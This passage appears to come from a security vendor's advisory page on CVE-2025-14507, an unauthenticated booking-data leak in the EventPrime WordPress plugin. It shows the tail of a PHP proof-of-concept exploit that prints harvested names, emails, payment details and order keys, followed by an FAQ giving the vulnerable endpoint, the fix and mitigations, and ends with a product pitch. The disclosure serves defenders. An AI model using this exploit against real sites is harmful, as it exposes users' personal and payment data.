            echo "[+] Sample booking data:n";
            foreach (array_slice($data['bookings'], 0, 3) as $index => $booking) {
                echo "  Booking #" . ($index + 1) . ":n";
                if (isset($booking['user_name'])) {
                    echo "    User: " . $booking['user_name'] . "n";
                }
                if (isset($booking['user_email'])) {
                    echo "    Email: " . $booking['user_email'] . "n";
                }
                if (isset($booking['ticket_details'])) {
                    echo "    Ticket: " . json_encode($booking['ticket_details']) . "n";
                }
                if (isset($booking['payment_info'])) {
                    echo "    Payment: " . json_encode($booking['payment_info']) . "n";
                }
                if (isset($booking['order_key'])) {
                    echo "    Order Key: " . $booking['order_key'] . "n";
                }
                echo "n";
            }
        }
    } else if (isset($data['message'])) {
        echo "[-] API responded with: " . $data['message'] . "n";
        echo "[-] This may indicate the vulnerability is patched or API access requires authenticationn";
    }
} else if ($http_code === 401 || $http_code === 403) {
    echo "[-] Access denied (HTTP $http_code). The vulnerability may be patched.n";
} else if ($http_code === 404) {
    echo "[-] EventPrime REST API not found. The API may be disabled.n";
} else {
    echo "[-] Unexpected HTTP response: $http_coden";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2025-14507?
Overview of the vulnerability
CVE-2025-14507 is a medium severity vulnerability in the EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress. It allows unauthenticated attackers to access sensitive booking information via the REST API in versions up to 4.2.7.0.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient authorization checks in the REST API endpoint. Attackers can send unauthenticated requests to the `/wp-json/eventprime/v1/bookings` endpoint to retrieve sensitive data such as user names, email addresses, and payment details.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the EventPrime plugin version 4.2.7.0 or earlier is affected. Administrators should check their plugin version and assess if the REST API is enabled.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the EventPrime plugin installed. If it is 4.2.7.0 or earlier, and the REST API is enabled, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 4.2.8.0 of the EventPrime plugin. Administrators should update to this version immediately to mitigate the risk.
What does the Medium severity rating mean?
Understanding risk levels
A Medium severity rating indicates that the vulnerability poses a moderate risk to user data and privacy. While it does not allow for remote code execution, it can lead to sensitive information exposure.
What types of data are exposed due to this vulnerability?
Sensitive information at risk
The vulnerability can expose sensitive booking data, including user names, email addresses, ticket details, payment information, and order keys, which can be exploited for malicious purposes.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept provided shows how an attacker can use a simple HTTP GET request to the vulnerable API endpoint to retrieve booking data without authentication, demonstrating the ease of exploitation.
What are the potential consequences of this vulnerability?
Risks associated with data exposure
Exploiting this vulnerability can lead to unauthorized access to sensitive user information, increasing the risk of phishing attacks, credential stuffing, and other forms of social engineering.
What additional steps can I take to secure my site?
Best practices for WordPress security
In addition to updating the plugin, consider implementing security measures such as disabling unused REST API endpoints, using security plugins, and regularly monitoring your site for vulnerabilities.
Is there any way to temporarily mitigate the risk?
Short-term solutions
If immediate updating is not possible, consider disabling the REST API or restricting access to it until the plugin can be updated to the patched version.
How can I stay informed about future vulnerabilities?
Keeping up with security updates
Subscribe to security mailing lists, follow security blogs, and regularly check the plugin’s official site for updates and announcements regarding vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations